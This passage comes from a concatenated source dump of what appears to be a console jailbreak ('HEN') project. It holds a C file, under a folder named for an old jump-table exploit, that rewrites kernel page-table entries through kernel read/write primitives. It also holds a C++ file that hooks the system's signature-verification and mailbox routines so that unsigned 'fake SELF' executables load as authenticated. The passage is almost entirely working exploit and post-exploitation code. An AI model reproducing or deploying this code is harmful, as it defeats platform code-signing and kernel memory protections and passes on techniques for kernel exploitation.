pde = 0; 264 | uint64_t pte_addr; 265 | uint64_t pte = 0; 266 | uint64_t orig_pa; 267 | 268 | pte_addr = find_pte(pmap, va, &pte); 269 | if (pte_addr != 0xFFFFFFFFFFFFFFFFull) { 270 | orig_pa = PDE_ADDR(pte); 271 | SET_PDE_ADDR(pte, new_pa); 272 | kernel_copyin(&pte, pte_addr, sizeof(pte)); 273 | //SOCK_LOG("remap_page: va = 0x%lx, new pa = 0x%lx (old pa = 0x%lx)\n", va, new_pa, orig_pa); 274 | return orig_pa; 275 | } 276 | 277 | //SOCK_LOG("remap_page: va = 0x%lx, could not find PTE, trying PDE\n", va); 278 | pde_addr = find_pde(pmap, va, &pde); 279 | if (pde_addr != 0xFFFFFFFFFFFFFFFFull && (PDE_FIELD(pde, PS) == 1)) { 280 | orig_pa = PDE_ADDR(pde); 281 | SET_PDE_ADDR(pde, new_pa); 282 | kernel_copyin(&pde, pde_addr, sizeof(pde)); 283 | //SOCK_LOG("remap_page: va = 0x%lx, new pa = 0x%lx (old pa = 0x%lx)\n", va, new_pa, orig_pa); 284 | return orig_pa; 285 | } 286 | 287 | //SOCK_LOG("remap_page: va = 0x%lx, could not find PDE either (or PDE is not a leaf)\n", va); 288 | return 0xFFFFFFFFFFFFFFFFull; 289 | } 290 | -------------------------------------------------------------------------------- /_old_jump_table_exploit/src/paging.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include "debug_log.h" 10 | #include "kdlsym.h" 11 | #include "mirror.h" 12 | #include "paging.h" 13 | 14 | uint64_t g_dmap_base = 0; 15 | 16 | uint64_t get_proc_pmap() 17 | { 18 | pid_t pid; 19 | uint64_t proc; 20 | uint64_t p_vmspace; 21 | uint64_t vm_pmap; 22 | 23 | // Get process pid 24 | pid = getpid(); 25 | 26 | // Get proc 27 | proc = kernel_get_proc(pid); 28 | //SOCK_LOG("get_proc_pmap: proc=0x%lx\n", proc); 29 | if (proc == 0) { 30 | //SOCK_LOG("get_proc_pmap: proc is null\n"); 31 | return 0; 32 | } 33 | 34 | // Get proc->p_vmspace 35 | kernel_copyout(proc + KERNEL_OFFSET_PROC_P_VMSPACE, &p_vmspace, sizeof(p_vmspace)); 36 | //SOCK_LOG("get_proc_pmap: vmspace=0x%lx\n", p_vmspace); 37 | if (p_vmspace == 0) { 38 | //SOCK_LOG("get_proc_pmap: vmspace is null\n"); 39 | return 0; 40 | } 41 | 42 | // Get vmspace->vm_pmap 43 | kernel_copyout(p_vmspace + KERNEL_OFFSET_VMSPACE_VM_PMAP, &vm_pmap, sizeof(vm_pmap)); 44 | //SOCK_LOG("get_proc_pmap: pmap=0x%lx\n", vm_pmap); 45 | if (vm_pmap == 0) { 46 | //SOCK_LOG("get_proc_pmap: pmap is null\n"); 47 | return 0; 48 | } 49 | 50 | return vm_pmap; 51 | } 52 | 53 | void init_dmap_resolve() 54 | { 55 | uint64_t DMPML4I; 56 | uint64_t DMPDPI; 57 | uint64_t PML4PML4I; 58 | 59 | kernel_copyout(kdlsym(KERNEL_SYM_DMPML4I), &DMPML4I, sizeof(int)); 60 | kernel_copyout(kdlsym(KERNEL_SYM_DMPDPI), &DMPDPI, sizeof(int)); 61 | kernel_copyout(kdlsym(KERNEL_SYM_PML4PML4I), &PML4PML4I, sizeof(int)); 62 | 63 | g_dmap_base = (DMPDPI << 30) | (DMPML4I << 39) | 0xFFFF800000000000; 64 | } 65 | 66 | uint64_t get_dmap_addr(uint64_t pa) 67 | { 68 | // Init dmap resolve if it's not initialized already 69 | if (g_dmap_base == 0) 70 | init_dmap_resolve(); 71 | 72 | return g_dmap_base + pa; 73 | } 74 | 75 | uint64_t pmap_kextract(uint64_t va) 76 | { 77 | uint64_t DMPML4I; 78 | uint64_t DMPDPI; 79 | uint64_t PML4PML4I; 80 | uint64_t dmap; 81 | uint64_t dmap_end; 82 | uint64_t pde_addr; 83 | uint64_t pte_addr; 84 | uint64_t pde; 85 | uint64_t pte; 86 | 87 | kernel_copyout(kdlsym(KERNEL_SYM_DMPML4I), &DMPML4I, sizeof(int)); 88 | kernel_copyout(kdlsym(KERNEL_SYM_DMPDPI), &DMPDPI, sizeof(int)); 89 | kernel_copyout(kdlsym(KERNEL_SYM_PML4PML4I), &PML4PML4I, sizeof(int)); 90 | 91 | dmap = (DMPDPI << 30) | (DMPML4I << 39) | 0xFFFF800000000000; 92 | dmap_end = ((DMPML4I +1 ) << 39) | 0xFFFF800000000000; 93 | 94 | if (dmap <= va && dmap_end > va) { 95 | return va - dmap; 96 | } 97 | 98 | pde_addr = ((PML4PML4I << 39) | (PML4PML4I << 30) | 0xFFFF800000000000) + 8 * ((va >> 21) & 0x7FFFFFF); 99 | 100 | kernel_copyout(pde_addr, &pde, sizeof(pde)); 101 | if (pde & 0x80) { 102 | return (pde & 0xFFFFFFFE00000) | (va & 0x1FFFFF); 103 | } 104 | 105 | pte_addr = ((va >> 9) & 0xFE0) + dmap + (pde & 0xFFFFFFFFFF000); 106 | kernel_copyout(pte_addr, &pte, sizeof(pte)); 107 | 108 | return (pte & 0xFFFFFFFFFF000) | (va & 0x3FFF); 109 | } 110 | 111 | uint64_t find_pml4e(uint64_t pmap, uint64_t va, uint64_t *out_pml4e) 112 | { 113 | uint64_t pml4e_addr; 114 | uint64_t pm_pml4; 115 | 116 | // Get pmap->pm_pml4 117 | kernel_copyout(pmap + KERNEL_OFFSET_PMAP_PM_PML4, &pm_pml4, sizeof(pm_pml4)); 118 | if (pm_pml4 == 0) { 119 | return 0xFFFFFFFFFFFFFFFFull; 120 | } 121 | //SOCK_LOG("pm_pml4 = 0x%lx\n", pm_pml4); 122 | 123 | // Calculate pml4 entry via index encoded in virtual addr 124 | pml4e_addr = pm_pml4 + (((va >> 39) & 0x1FF) * 8); 125 | 126 | // Copy pml4e out and return address of it 127 | kernel_copyout(pml4e_addr, (char *) out_pml4e, sizeof(uint64_t)); 128 | //SOCK_LOG("find_pml4e(0x%lx): pml4e addr = 0x%lx, pml4e = 0x%lx (rw: 0x%lx, nx: 0x%lx, user: 0x%lx, xo: 0x%lx)\n", 129 | // va, pml4e_addr, *out_pml4e, PDE_FIELD(*out_pml4e, RW), PDE_FIELD(*out_pml4e, EXECUTE_DISABLE), PDE_FIELD(*out_pml4e, USER), PDE_FIELD(*out_pml4e, XOTEXT)); 130 | return pml4e_addr; 131 | } 132 | 133 | uint64_t find_pdpe(uint64_t pmap, uint64_t va, uint64_t *out_pdpe) 134 | { 135 | uint64_t pdpe_addr; 136 | uint64_t pdp_table_pml4_entry; 137 | uint64_t pdp_table_dmap_addr; 138 | 139 | // Get pdp table address from pml4 entry 140 | if (find_pml4e(pmap, va, &pdp_table_pml4_entry) == 0xFFFFFFFFFFFFFFFFull) { 141 | return 0xFFFFFFFFFFFFFFFFull; 142 | } 143 | 144 | // Calculate pdp entry via index encoded in virtual addr 145 | pdp_table_dmap_addr = get_dmap_addr(PDE_ADDR(pdp_table_pml4_entry)); 146 | pdpe_addr = pdp_table_dmap_addr + (((va >> 30) & 0x1FF) * 8); 147 | 148 | // Copy pdpe out and return address of it 149 | kernel_copyout(pdpe_addr, (char *) out_pdpe, sizeof(uint64_t)); 150 | //SOCK_LOG("find_pdpe(0x%lx): pdpe addr = 0x%lx, pdpe = 0x%lx (rw: 0x%lx, nx: 0x%lx, user: 0x%lx, xo: 0x%lx)\n", 151 | // va, pdpe_addr, *out_pdpe, PDE_FIELD(*out_pdpe, RW), PDE_FIELD(*out_pdpe, EXECUTE_DISABLE), PDE_FIELD(*out_pdpe, USER), PDE_FIELD(*out_pdpe, XOTEXT)); 152 | return pdpe_addr; 153 | } 154 | 155 | uint64_t find_pde(uint64_t pmap, uint64_t va, uint64_t *out_pde) 156 | { 157 | uint64_t pde_addr; 158 | uint64_t pd_table_pdp_entry; 159 | uint64_t pd_table_dmap_addr; 160 | 161 | // Get pd table address from pdp entry 162 | if (find_pdpe(pmap, va, &pd_table_pdp_entry) == 0xFFFFFFFFFFFFFFFFull) { 163 | return 0xFFFFFFFFFFFFFFFFull; 164 | } 165 | 166 | // Calculate pd entry via index encoded in virtual addr 167 | pd_table_dmap_addr = get_dmap_addr(PDE_ADDR(pd_table_pdp_entry)); 168 | pde_addr = pd_table_dmap_addr + (((va >> 21) & 0x1FF) * 8); 169 | 170 | // Copy pde out and return address of it 171 | kernel_copyout(pde_addr, (char *) out_pde, sizeof(uint64_t)); 172 | //SOCK_LOG("find_pde(0x%lx): pde addr = 0x%lx, pde = 0x%lx (rw: 0x%lx, nx: 0x%lx, user: 0x%lx, xo: 0x%lx)\n", 173 | // va, pde_addr, *out_pde, PDE_FIELD(*out_pde, RW), PDE_FIELD(*out_pde, EXECUTE_DISABLE), PDE_FIELD(*out_pde, USER), PDE_FIELD(*out_pde, XOTEXT)); 174 | return pde_addr; 175 | } 176 | 177 | uint64_t find_pte(uint64_t pmap, uint64_t va, uint64_t *out_pte) 178 | { 179 | uint64_t pte_addr; 180 | uint64_t page_table_pde_entry; 181 | uint64_t page_table_dmap_addr; 182 | 183 | // Get page table address from pde entry 184 | if (find_pde(pmap, va, &page_table_pde_entry) == 0xFFFFFFFFFFFFFFFFull) { 185 | return 0xFFFFFFFFFFFFFFFFull; 186 | } 187 | 188 | // Calculate pt entry via index encoded in virtual addr 189 | page_table_dmap_addr = get_dmap_addr(PDE_ADDR(page_table_pde_entry)); 190 | pte_addr = page_table_dmap_addr + (((va >> 12) & 0x1FF) * 8); 191 | 192 | // Copy pte out and return address of it 193 | kernel_copyout(pte_addr, (char *) out_pte, sizeof(uint64_t)); 194 | //SOCK_LOG("find_pte(0x%lx): pte addr = 0x%lx, pte = 0x%lx (rw: 0x%lx, nx: 0x%lx, user: 0x%lx, xo: 0x%lx)\n", 195 | // va, pte_addr, *out_pte, PDE_FIELD(*out_pte, RW), PDE_FIELD(*out_pte, EXECUTE_DISABLE), PDE_FIELD(*out_pte, USER), PDE_FIELD(*out_pte, XOTEXT)); 196 | return pte_addr; 197 | } 198 | 199 | int downgrade_kernel_superpages(uint64_t va, uint64_t kernel_pt_addr) 200 | { 201 | uint64_t kernel_pmap; 202 | uint64_t pde_addr; 203 | uint64_t pde; 204 | uint64_t new_pte; 205 | uint64_t new_pt_pa; 206 | uint64_t cur_pa; 207 | 208 | // Get kernel pmap 209 | kernel_pmap = kdlsym(KERNEL_SYM_PMAP_STORE); 210 | 211 | // Get the PDE of the address and check if it actually is a superpage 212 | pde_addr = find_pde(kernel_pmap, va, &pde); 213 | if (pde_addr == 0xFFFFFFFFFFFFFFFFull) { 214 | SOCK_LOG("downgrade_kernel_superpages: va = 0x%lx, could not find PDE\n", va); 215 | return -1; 216 | } 217 | 218 | if (PDE_FIELD(pde, PS) != 1) { 219 | SOCK_LOG("downgrade_kernel_superpages: va = 0x%lx is not a superpage\n", va); 220 | return -1; 221 | } 222 | 223 | SOCK_LOG("downgrade_kernel_superpages: va = 0x%lx, downgrading to small pages\n", va); 224 | 225 | cur_pa = pde & PDE_ADDR_MASK; 226 | 227 | // Construct PTEs 228 | for (int i = 0; i < 512; i++) { 229 | new_pte = 0; 230 | SET_PDE_FIELD(new_pte, RW, PDE_FIELD(pde, RW)); 231 | SET_PDE_FIELD(new_pte, USER, PDE_FIELD(pde, USER)); 232 | SET_PDE_FIELD(new_pte, DIRTY, PDE_FIELD(pde, DIRTY)); 233 | SET_PDE_FIELD(new_pte, GLOBAL, PDE_FIELD(pde, GLOBAL)); 234 | SET_PDE_FIELD(new_pte, XOTEXT, PDE_FIELD(pde, PROTECTION_KEY)); 235 | SET_PDE_FIELD(new_pte, EXECUTE_DISABLE, PDE_FIELD(pde, EXECUTE_DISABLE)); 236 | SET_PDE_ADDR(new_pte, cur_pa); 237 | SET_PDE_BIT(new_pte, PRESENT); 238 | 239 | kernel_copyin(&new_pte, kernel_pt_addr + (i * 0x8), sizeof(new_pte)); 240 | cur_pa += 0x1000; 241 | } 242 | 243 | // Get the physical address of the newly created page table 244 | new_pt_pa = pmap_kextract(kernel_pt_addr); 245 | 246 | // Update PDE 247 | SET_PDE_BIT(pde, RW); 248 | CLEAR_PDE_BIT(pde, PS); 249 | CLEAR_PDE_BIT(pde, GLOBAL); 250 | CLEAR_PDE_BIT(pde, XOTEXT); 251 | SET_PDE_ADDR(pde, new_pt_pa); 252 | 253 | SOCK_LOG("downgrade_kernel_superpages: updating PDE @ 0x%lx to 0x%lx\n", pde_addr, pde); 254 | kernel_copyin(&pde, pde_addr, sizeof(pde)); 255 | 256 | return 0; 257 | } 258 | 259 | uint64_t remap_page(uint64_t pmap, uint64_t va, uint64_t new_pa) 260 | { 261 | uint64_t pde_addr; 262 | uint64_t pde = 0; 263 | uint64_t pte_addr; 264 | uint64_t pte = 0; 265 | uint64_t orig_pa; 266 | 267 | pte_addr = find_pte(pmap, va, &pte); 268 | if (pte_addr != 0xFFFFFFFFFFFFFFFFull) { 269 | orig_pa = PDE_ADDR(pte); 270 | SET_PDE_ADDR(pte, new_pa); 271 | kernel_copyin(&pte, pte_addr, sizeof(pte)); 272 | //SOCK_LOG("remap_page: va = 0x%lx, new pa = 0x%lx (old pa = 0x%lx)\n", va, new_pa, orig_pa); 273 | return orig_pa; 274 | } 275 | 276 | //SOCK_LOG("remap_page: va = 0x%lx, could not find PTE, trying PDE\n", va); 277 | pde_addr = find_pde(pmap, va, &pde); 278 | if (pde_addr != 0xFFFFFFFFFFFFFFFFull && (PDE_FIELD(pde, PS) == 1)) { 279 | orig_pa = PDE_ADDR(pde); 280 | SET_PDE_ADDR(pde, new_pa); 281 | kernel_copyin(&pde, pde_addr, sizeof(pde)); 282 | //SOCK_LOG("remap_page: va = 0x%lx, new pa = 0x%lx (old pa = 0x%lx)\n", va, new_pa, orig_pa); 283 | return orig_pa; 284 | } 285 | 286 | //SOCK_LOG("remap_page: va = 0x%lx, could not find PDE either (or PDE is not a leaf)\n", va); 287 | return 0xFFFFFFFFFFFFFFFFull; 288 | } 289 | -------------------------------------------------------------------------------- /hen/src/fself.cpp: -------------------------------------------------------------------------------- 1 | #include "fself.h" 2 | #include "hook.h" 3 | #include "kdlsym.h" 4 | #include "util.h" 5 | 6 | extern "C" { 7 | #include 8 | #include 9 | } 10 | 11 | constexpr uint8_t orbisExecAuthInfo[] { 12 | 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x20, 13 | 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 14 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 15 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 16 | 0x00, 0x40, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 17 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 18 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 19 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 20 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 21 | }; 22 | 23 | constexpr uint8_t orbisPrxAuthInfo[] { 24 | 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 25 | 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 26 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x30, 0x00, 0x30, 27 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 28 | 0x00, 0x40, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 29 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 30 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 31 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 32 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 33 | }; 34 | 35 | extern "C" { 36 | static volatile int enableHook1 = 1; 37 | static volatile int enableHook2 = 1; 38 | static volatile int enableHook3 = 1; 39 | static volatile int enableHook4 = 1; 40 | static volatile int enableHook5 = 1; 41 | static volatile int enableHook6 = 1; 42 | } 43 | 44 | SelfContext* getSelfContextByServiceId(uint32_t serviceId) { 45 | auto ctxTable = (SelfContext *) kdlsym(KERNEL_SYM_CTXTABLE); 46 | 47 | for(int i = 0; i < 4; i++) { 48 | auto ctx = &ctxTable[i]; 49 | if(ctx->unk1C == serviceId) { 50 | return ctx; 51 | } 52 | } 53 | return nullptr; 54 | } 55 | 56 | bool isFakeSelf(SelfContext* ctx) { 57 | if(ctx) { 58 | if(ctx->format == SelfFormat::ELF) { 59 | return true; 60 | } 61 | return ctx->selfHeader && ctx->selfHeader->program_type == 0x1; 62 | } 63 | return false; 64 | } 65 | 66 | int sceSblAuthMgrIsLoadable__sceSblAuthMgrCheckSelfIsLoadable_hook(SelfContext* ctx, SelfAuthInfo* parentAuth, int pathid, SelfAuthInfo* selfAuth) { 67 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 68 | auto _sceSblAuthMgrCheckSelfIsLoadable = (int (*)(SelfContext *ctx, SelfAuthInfo *parentAuthInfo, int pathId, SelfAuthInfo *selfAuthInfo)) kdlsym(KERNEL_SYM_SCESBLAUTHMGRISLOADABLE2); 69 | 70 | printf("sceSblAuthMgrIsLoadable__sceSblAuthMgrCheckSelfIsLoadable_hook: 0x%016lX 0x%016lX 0x%016lX 0x%016lX\n", ctx, parentAuth, pathid, selfAuth); 71 | if(enableHook1 && ctx && parentAuth && selfAuth && isFakeSelf(ctx)) { 72 | uint32_t type; 73 | 74 | if(ctx->format == SelfFormat::ELF) { 75 | auto hdr = ctx->elfHeader; 76 | type = hdr->e_type; 77 | printf("sceSblAuthMgrIsLoadable__sceSblAuthMgrCheckSelfIsLoadable_hook: is Fake ELF %i\n", type); 78 | } 79 | else { 80 | auto info = reinterpret_cast(reinterpret_cast(ctx->selfHeader) + ctx->selfHeader->header_size + ctx->selfHeader->metadata_size - 0x100); 81 | if(info->size == sizeof(SelfAuthInfo)) { 82 | printf("sceSblAuthMgrIsLoadable__sceSblAuthMgrCheckSelfIsLoadable_hook: is Fake SELF with own auth info\n"); 83 | memcpy(selfAuth, &info->info, sizeof(SelfAuthInfo)); 84 | return 0; 85 | } 86 | auto hdr = reinterpret_cast(ctx->selfHeader + (ctx->selfHeader->entry_num + 1)); 87 | type = hdr->e_type; 88 | printf("sceSblAuthMgrIsLoadable__sceSblAuthMgrCheckSelfIsLoadable_hook: is Fake SELF %i\n", type); 89 | } 90 | 91 | switch (type) { 92 | case ET_EXEC: 93 | case ET_SCE_EXEC: 94 | case ET_SCE_DYNEXEC: { 95 | printf("sceSblAuthMgrIsLoadable__sceSblAuthMgrCheckSelfIsLoadable_hook: is EXEC AUTH\n"); 96 | memcpy(selfAuth, orbisExecAuthInfo, sizeof(SelfAuthInfo)); 97 | break; 98 | } 99 | case ET_SCE_DYNAMIC: { 100 | printf("sceSblAuthMgrIsLoadable__sceSblAuthMgrCheckSelfIsLoadable_hook: is PRX AUTH\n"); 101 | memcpy(selfAuth, orbisPrxAuthInfo, sizeof(SelfAuthInfo)); 102 | break; 103 | } 104 | } 105 | return 0; 106 | } 107 | return _sceSblAuthMgrCheckSelfIsLoadable(ctx, parentAuth, pathid, selfAuth); 108 | } 109 | //condtionally check them 110 | int _sceSblAuthMgrVerifySelfHeader_hook(SelfContext* ctx) { 111 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 112 | auto M_TEMP = (void *) kdlsym(KERNEL_SYM_M_TEMP); 113 | auto malloc = (void*(*)(unsigned long size, void* type, int flags)) kdlsym(KERNEL_SYM_MALLOC); 114 | auto free = (void(*)(void* addr, void* type)) kdlsym(KERNEL_SYM_FREE); 115 | auto mini_syscore = (SelfHeader *) kdlsym(KERNEL_SYM_MINI_SYSCORE_BIN); 116 | auto _sceSblAuthMgrVerifySelfHeader = (int(*)(SelfContext *context)) kdlsym(KERNEL_SYM_SCESBLAUTHMGRVERIFYHEADER); 117 | 118 | printf("_sceSblAuthMgrVerifySelfHeader_hook: 0x%016lX\n", ctx); 119 | if(!ctx) { 120 | return -1; 121 | } 122 | if(!enableHook2 || !isFakeSelf(ctx)) { 123 | return _sceSblAuthMgrVerifySelfHeader(ctx); 124 | } 125 | printf("_sceSblAuthMgrVerifySelfHeader_hook: fake self\n"); 126 | 127 | auto backup = malloc(0x1000, M_TEMP, 0x102); 128 | auto ogSize = ctx->headerSize; 129 | auto ogFormat = ctx->format; 130 | auto newSize = mini_syscore->header_size + mini_syscore->metadata_size; 131 | printf("_sceSblAuthMgrVerifySelfHeader_hook: memcpy: %lx\n", ogSize); 132 | memcpy(backup, ctx->selfHeader, ogSize); 133 | 134 | printf("_sceSblAuthMgrVerifySelfHeader_hook: memcpy2: %lx\n", newSize); 135 | memcpy(ctx->selfHeader, mini_syscore, newSize); 136 | ctx->headerSize = newSize; 137 | ctx->format = SelfFormat::SELF; 138 | 139 | printf("_sceSblAuthMgrVerifySelfHeader_hook: before _sceSblAuthMgrVerifySelfHeader\n"); 140 | auto res = _sceSblAuthMgrVerifySelfHeader(ctx); 141 | printf("_sceSblAuthMgrVerifySelfHeader_hook: _sceSblAuthMgrVerifySelfHeader %i\n", res); 142 | 143 | ctx->format = ogFormat; 144 | ctx->headerSize = ogSize; 145 | printf("_sceSblAuthMgrVerifySelfHeader_hook: memcpy3: %lx\n", ogSize); 146 | memcpy(ctx->selfHeader, backup, ogSize); 147 | free(backup, M_TEMP); 148 | 149 | return res; 150 | } 151 | 152 | int _sceSblAuthMgrSmLoadSelfSegment_sceSblServiceMailbox(uint64_t handle, MailboxLoadSelfSegmentMessage* input, MailboxLoadSelfSegmentMessage* output) { 153 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 154 | auto sceSblServiceMailbox = (int (*)(uint64_t handle, void *input, void *output)) kdlsym(KERNEL_SYM_SCESBLSERVICEMAILBOX); 155 | 156 | printf("_sceSblAuthMgrSmLoadSelfSegment_sceSblServiceMailbox: 0x%016lX 0x%016lX 0x%016lX\n", handle, input, output); 157 | //hexdump(input, 0x80, NULL, 0x0); 158 | if(enableHook3 && input && output) { 159 | auto ctx = getSelfContextByServiceId(input->serviceId); 160 | if(ctx && isFakeSelf(ctx)) { 161 | printf("_sceSblAuthMgrSmLoadSelfSegment_sceSblServiceMailbox: fake self ctx: %016lX\n", ctx); 162 | output->res = 0; 163 | return 0; 164 | } 165 | } 166 | return sceSblServiceMailbox(handle, input, output); 167 | } 168 | 169 | int _sceSblAuthMgrSmLoadSelfBlock_sceSblServiceMailbox(uint64_t handle, MailboxLoadSelfBlockMessage* input, MailboxLoadSelfBlockMessage* output) { 170 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 171 | auto sceSblServiceMailbox = (int (*)(uint64_t handle, void *input, void *output)) kdlsym(KERNEL_SYM_SCESBLSERVICEMAILBOX); 172 | 173 | printf("_sceSblAuthMgrSmLoadSelfBlock_sceSblServiceMailbox: ctx: %016lX input: %016lX output: %016lX\n", handle, input, output); 174 | //hexdump(input, 0x80, NULL, 0x0); 175 | if(enableHook4 && input && output) { 176 | auto ctx = getSelfContextByServiceId(input->serviceId); 177 | if(ctx && isFakeSelf(ctx)) { 178 | printf("_sceSblAuthMgrSmLoadSelfBlock_sceSblServiceMailbox: fake self ctx: %016lX\n", ctx); 179 | auto destBlock = get_dmap_addr(input->unk08); 180 | auto srcBlock = get_dmap_addr(input->unk10); 181 | auto lenBlock = input->unk30; 182 | printf("_sceSblAuthMgrSmLoadSelfBlock_sceSblServiceMailbox: d %016lX s %016lX l %016lX\n", destBlock, srcBlock, lenBlock); 183 | memcpy((void *) destBlock, (const void *) srcBlock, lenBlock); 184 | output->res = 0; 185 | return 0; 186 | } 187 | } 188 | return sceSblServiceMailbox(handle, input, output); 189 | } 190 | 191 | int _sceSblAuthMgrSmLoadMultipleSelfBlocks_sceSblServiceMailbox(uint64_t handle, MailboxLoadMultipleSelfBlocksMessage* input, MailboxLoadMultipleSelfBlocksMessage* output) { 192 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 193 | auto sceSblServiceMailbox = (int (*)(uint64_t handle, void *input, void *output)) kdlsym(KERNEL_SYM_SCESBLSERVICEMAILBOX); 194 | 195 | printf("_sceSblAuthMgrSmLoadMultipleSelfBlocks_sceSblServiceMailbox: 0x%016lX 0x%016lX 0x%016lX\n", handle, input, output); 196 | //hexdump(input, 0x80, NULL, 0x0); 197 | if(enableHook5 && input && output) { 198 | auto ctx = getSelfContextByServiceId(input->serviceId); 199 | if(ctx && isFakeSelf(ctx)) { 200 | printf("_sceSblAuthMgrSmLoadMultipleSelfBlocks_sceSblServiceMailbox: fake self ctx: %016lX\n", ctx); 201 | auto inputPa = (uint64_t*)get_dmap_addr(input->unk08); 202 | auto outputPa = (uint64_t*)get_dmap_addr(input->unk10); 203 | 204 | for(int i = 0; i < 8; i++) { 205 | auto sPa = inputPa[i]; 206 | auto dPa = outputPa[i]; 207 | if(!sPa || !dPa) {continue;} 208 | auto src = get_dmap_addr(sPa); 209 | auto dst = get_dmap_addr(dPa); 210 | printf("_sceSblAuthMgrSmLoadMultipleSelfBlocks %016X -> %016X\n", src, dst); 211 | memcpy((void *) dst, (const void *) src, 0x4000); 212 | } 213 | output->res = 0; 214 | return 0; 215 | } 216 | } 217 | return sceSblServiceMailbox(handle, input, output); 218 | } 219 | 220 | int sceSblACMgrGetPathId_hook(const char* path) { 221 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 222 | auto sceSblACMgrGetPathId = (int(*)(const char *path)) kdlsym(KERNEL_SYM_SCESBLACMGRGETPATHID); 223 | 224 | printf("sceSblACMgrGetPathId_hook: %s\n", path); 225 | if(enableHook6) { 226 | constexpr const char *selfDir = "/data/self"; 227 | constexpr const char *hostappDir = "/hostapp"; 228 | 229 | if (strstr(path, selfDir) == path) { 230 | path = path + strlen(selfDir); 231 | printf("sceSblACMgrGetPathId_hook: new path %s\n", path); 232 | } else if (strstr(path, hostappDir) == path) { 233 | path = path + strlen(hostappDir); 234 | printf("sceSblACMgrGetPathId_hook: new path %s\n", path); 235 | } 236 | } 237 | 238 | return sceSblACMgrGetPathId(path); 239 | } 240 | 241 | void apply_fself_hooks() 242 | { 243 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 244 | auto _sceSblAuthMgrVerifySelfHeader = (int(*)(SelfContext *context)) kdlsym(KERNEL_SYM_SCESBLAUTHMGRVERIFYHEADER); 245 | 246 | printf("[HEN] [FSELF] sceSblAuthMgrIsLoadable() -> sceSblAuthMgrCheckSelfIsLoadable()\n"); 247 | install_hook(HOOK_FSELF_SCE_SBL_AUTHMGR_IS_LOADABLE_CALL_IS_LOADABLE, (void *) &sceSblAuthMgrIsLoadable__sceSblAuthMgrCheckSelfIsLoadable_hook); 248 | 249 | printf("[HEN] [FSELF] sceSblAuthMgrAuthHeader() -> sceSblAuthMgrVerifySelfHeader()()\n"); 250 | install_hook(HOOK_FSELF_SCE_SBL_AUTHMGR_AUTH_HEADER, (void *) &_sceSblAuthMgrVerifySelfHeader_hook); 251 | 252 | printf("[HEN] [FSELF] resumeAuthMgr() -> sceSblAuthMgrVerifySelfHeader()\n"); 253 | install_hook(HOOK_FSELF_SCE_SBL_AUTHMGR_RESUME, (void *) &_sceSblAuthMgrVerifySelfHeader); 254 | 255 | printf("[HEN] [FSELF] sceSblAuthMgrLoadSelfSegment() -> sceSblServiceMailbox()\n"); 256 | install_hook(HOOK_FSELF_SCE_SBL_AUTHMGR_LOAD_SELF_SEGMENT, (void *) &_sceSblAuthMgrSmLoadSelfSegment_sceSblServiceMailbox); 257 | 258 | printf("[HEN] [FSELF] sceSblAuthMgrLoadSelfBlock() -> sceSblServiceMailbox()\n"); 259 | install_hook(HOOK_FSELF_SCE_SBL_AUTHMGR_LOAD_SELF_BLOCK, (void *) &_sceSblAuthMgrSmLoadSelfBlock_sceSblServiceMailbox); 260 | 261 | printf("[HEN] [FSELF] sceSblAuthMgrLoadMultipleSelfBlocks() -> sceSblServiceMailbox()\n"); 262 | 